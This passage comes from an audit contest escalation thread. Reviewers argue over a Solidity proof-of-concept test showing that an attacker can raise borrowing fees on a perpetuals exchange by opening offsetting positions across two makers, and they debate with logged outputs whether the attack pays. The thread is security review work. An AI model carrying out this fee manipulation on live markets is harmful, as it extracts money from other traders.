oracle_maker.setMinMarginRatio(1 ether); maker.setMinMarginRatio(1 ether); //inititalize taker/exploiter with $10M each _deposit(marketId, taker, 10000000 * 1e6); _deposit(marketId, exploiter, 10000000 * 1e6); console.log("Exploiter Margin at start: "); int256 expMargStart = vault.getMargin(marketId,address(exploiter)); console.logInt(expMargStart); // exploiter opens largest posible position on OM to maximize borrowing fee ($1M in this case), //and a counter position of same size on SHBM. vm.prank(exploiter); (int256 pb, int256 pq) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, //amount: 500 * 1e18, amount: 0.6 * 1e18, // IllIllI oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter)); vm.prank(exploiter); ( pb, pq) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: true, isExactInput: true, amount: exploiterPosSize.abs(), oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); console.log("Exploiter Margin at end: "); int256 expMargEnd = vault.getMargin(marketId,address(exploiter)); console.logInt(expMargEnd); //create taker position to represent $100,000 utility paying the bloated borrowing fee //for a day vm.startPrank(taker); ( pb, pq) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: true, isExactInput: true, //amount: 50 * 1e18, amount: 500 * 1e18, // IllIllI oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); //move a day forward to see how much borrow fees are collected in a day vm.warp(block.timestamp + 1 days); console.log("accumulated Borrowing Fee in a day (USD, no decimals):"); int256 bfee = borrowingFee.getPendingFee(marketId,taker); console.logInt(bfee / 1e18); //exploiter loss from slippage in the double move: int256 exploiterMarginDiff = expMargEnd - expMargStart; console.log("Cost of the exploit (USD, no decimals):"); console.logInt(exploiterMarginDiff / 1e18); } } ```

The output shows:

Ran 1 test for test/spotHedgeMaker/test.sol:borrowFeePOC
[PASS] testBorrowRateIssue() (gas: 2669547)
Logs:
  Exploiter Margin at start: 
  10000000000000000000000000
  Exploiter Margin at end: 
  9999998681150000000000000
  accumulated Borrowing Fee in a day (USD, no decimals):
  862
  Cost of the exploit (USD, no decimals):
  -1

[WangSecurity]

At this point, I believe the issue is valid and should remain as it is. Planning to reject the escalation.

If I'm missing anything here that can invalidate the submitter's POC, please tag me.

[nirohgo]

At this point, I believe the issue is valid and should remain as it is. Planning to reject the escalation.

If I'm missing anything here that can invalidate the submitter's POC, please tag me.

@WangSecurity Try running the POC. The real output with the change (changing the uni pool fee tier to 500) is this: Logs: Exploiter Margin at start: 10000000000000000000000000 Exploiter Margin at end: 9666444407395000000000000 accumulated Borrowing Fee in a day (USD, no decimals): 86 Cost of the exploit (USD, no decimals): -333555

[WangSecurity]

I've run both PoCs and I can see that the one provided by @IllIllI000 indeed has a profit of 862 and a loss of 4. Hence, I believe it is a valid attack under certain factors and conditions, therefore, planning to reject the escalation and leave the issue as it is.

[nirohgo]

@WangSecurity just noticed @IllIllI000 also changed the values in the test function. The results he presented are wrong. 862 is the total borrowing fee accumulated over a day. the number you should look at is the difference between borrowing fees with or without the attack (by running again commenting out the attack part as with the change I've make to the 30 cents POC). You'll see that with the new numbers @IllIllI000 presented the attack doesn't add anything to accumulated borrowing fees (in fact without the attack accumulated fees are 864).

[WangSecurity]

In fact, I didn't make any changes that @IllIllI000 describes here in the diff part. I've only changed the test.sol file itself, so the only changes between your test and @IllIllI000 test is the amount of opening position (from 500e18 to 0.6e18 for the exploiter and from 50e18 to 500e18 for taker). That is why the output I've got was 864 and not 862 as @IllIllI000 showed. Therefore, as I understand the attack is profitable only if there are different position sizes and that's it.

[nirohgo]

In fact, I didn't make any changes that @IllIllI000 describes here in the diff part. I've only changed the test.sol file itself, so the only changes between your test and @IllIllI000 test is the amount of opening position (from 500e18 to 0.6e18 for the exploiter and from 50e18 to 500e18 for taker). That is why the output I've got was 864 and not 862 as @IllIllI000 showed. Therefore, as I understand the attack is profitable only if there are different position sizes and that's it.

The attack is not profitable because neither 864 nor 862 are the profits of this attack. As I explained, this is the total borrowing fees accumulated over a day when there's 500e18 of paying positions. You need to look at the difference between the accumulated fees with and without the attack to tell exactly how the attack affected the accumulated fees. Make that comparison and you'll see that the attack is not viable.

[WangSecurity]

@nirohgo by running without the attack, you mean to comment out these specific part of the PoC? (confirmation to understand I'm running everything correctly):

       vm.prank(exploiter);
        (int256 pb, int256 pq) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(oracle_maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 500 * 1e18,
                oppositeAmountBound:type(uint256).max,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
        vm.prank(exploiter);
        ( pb,  pq) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: exploiterPosSize.abs(),
                oppositeAmountBound:0,
                deadline: block.timestamp,
                makerData: ""
            })
        );

[nirohgo]

@WangSecurity You are comparing apples to oranges. You need to run @IllIllI000 's POC once with the attack code:

vm.prank(exploiter);
  (int256 pb, int256 pq) = clearingHouse.openPosition(
      IClearingHouse.OpenPositionParams({
          marketId: marketId,
          maker: address(oracle_maker),
          isBaseToQuote: false,
          isExactInput: false,
          //amount: 500 * 1e18,
          amount: 0.6 * 1e18, // IllIllI
          oppositeAmountBound:type(uint256).max,
          deadline: block.timestamp,
          makerData: ""
      })
  );
  int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
  vm.prank(exploiter);
  ( pb,  pq) = clearingHouse.openPosition(
      IClearingHouse.OpenPositionParams({
          marketId: marketId,
          maker: address(maker),
          isBaseToQuote: true,
          isExactInput: true,
          amount: exploiterPosSize.abs(),
          oppositeAmountBound:0,
          deadline: block.timestamp,
          makerData: ""
      })
        );

and once with this code commented out and see the difference in accumulated borrowing fees. Again, 862 is not the profit of this attack. If you don't interpret the POC correctly you'll be making a judgment based on false data.

[WangSecurity]

I understand, I just wanted to get a confirmation that I correctly run without the attack. Indeed, without the attack @IllIllI000 has $864 fees accumulated in a day and with the attack the accumulated fees drop down to $862. Even if we change the taker's amount: 500 * 1e18, back to amount: 50 * 1e18, total accumulated fees in a day without the attack are $8 and with the attack it's $9 and the cost is $4. Therefore, I see that the attack path is indeed not viable. I'll let @IllIllI000 to come in and correct us if need and will give my final decision a bit later today. Thank you @nirohgo for the clarification.

[nirohgo]

I understand, I just wanted to get a confirmation that I correctly run without the attack. Indeed, without the attack @IllIllI000 has $864 fees accumulated in a day and with the attack the accumulated fees drop down to $862. Even if we change the taker's amount: 500 * 1e18, back to amount: 50 * 1e18, total accumulated fees in a day without the attack are $8 and with the attack it's $9 and the cost is $4. Therefore, I see that the attack path is indeed not viable. I'll let @IllIllI000 to come in and correct us if need and will give my final decision a bit later today. Thank you @nirohgo for the clarification.

@WangSecurity thanks for dedicating attention to this.

[IllIllI000]

@WangSecurity It feels as though nirohgo keeps changing numbers and moving the goal post, and the net effect is that I'm DOSed. The submission is Borrow fees can be arbitrarily increased without the maker providing any value and in your analysis you see that the cost increases by a dollar, without providing any value. I'm not familiar with these tests, so it's extremely time-consuming to fiddle with them to try to satisfy nirohgo's complaints, but the fact remains that an attacker, if they do not care about losses (Sherlock rules for a Med do not require a profit) is able to increase fees without providing any value. Even with your example, after five days (e.g. in an illiquid market, or a market where most of the trades happen between traders rather than the whitelisted makers), they'll have a profit, because it's a per-day effect.

[nirohgo]

@WangSecurity It feels as though nirohgo keeps changing numbers and moving the goal post, and the net effect is that I'm DOSed. The submission is Borrow fees can be arbitrarily increased without the maker providing any value and in your analysis you see that the cost increases by a dollar, without providing any value. I'm not familiar with these tests, so it's extremely time-consuming to fiddle with them to try to satisfy nirohgo's complaints, but the fact remains that an attacker, if they do not care about losses (Sherlock rules for a Med do not require a profit) is able to increase fees without providing any value. Even with your example, after five days (e.g. in an illiquid market, or a market where most of the trades happen between traders rather than the whitelisted makers), they'll have a profit, because it's a per-day effect.

@WangSecurity I believe going over the comments history here is enough to see that @IllIllI000 is the one trying to twist numbers around to try and find a viable attack here but keeps failing, I've shown clearly that this attack is not viable not when using large amounts (my original POC) nor with small amounts (the alternatives @IllIllI000 provided). I believe enough of everyone's time has been wasted on these attempts and it's been made clear that this is not a viable attack.

[WangSecurity]

@IllIllI000 need clarification from your side: even if the attack has a significant cost to manipulate and increase the borrowing fee, the borrowing fee will remain the same and the attacker will gain value over time, correct? I.e. after running the PoC with one set of values, the total accumulated fees in a day changed from $8 to $9 with -$4 as the cost for an attack, but these $9 total accumulated fees in a day will not drop down to $8 and with time the attacker will come out profittable?

[IllIllI000]

@WangSecurity assuming nothing changes with the position, that is correct - the new per-day rate will be $9 in perpetuity

[WangSecurity]

Although the attack isn't guaranteed to be profitable, it's possible. However, the negatively affected accounts are a certainty.

Planning to reject the escalation and leave the issue as it is.

[nirohgo]

@IllIllI000 need clarification from your side: even if the attack has a significant cost to manipulate and increase the borrowing fee, the borrowing fee will remain the same and the attacker will gain value over time, correct? I.e. after running the PoC with one set of values, the total accumulated fees in a day changed from $8 to $9 with -$4 as the cost for an attack, but these $9 total accumulated fees in a day will not drop down to $8 and with time the attacker will come out profittable?

That is incorrect. Any imbalance created by this "attack" will surely get by other positions due to market forces.

[IllIllI000]

I'd also like to point out that this can happen organically, with traders just normally opening and closing their positions. There doesn't have to be any attacker for the extra fees to be charged

[Evert0x]

Result: Medium Unique

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• nirohgo: rejected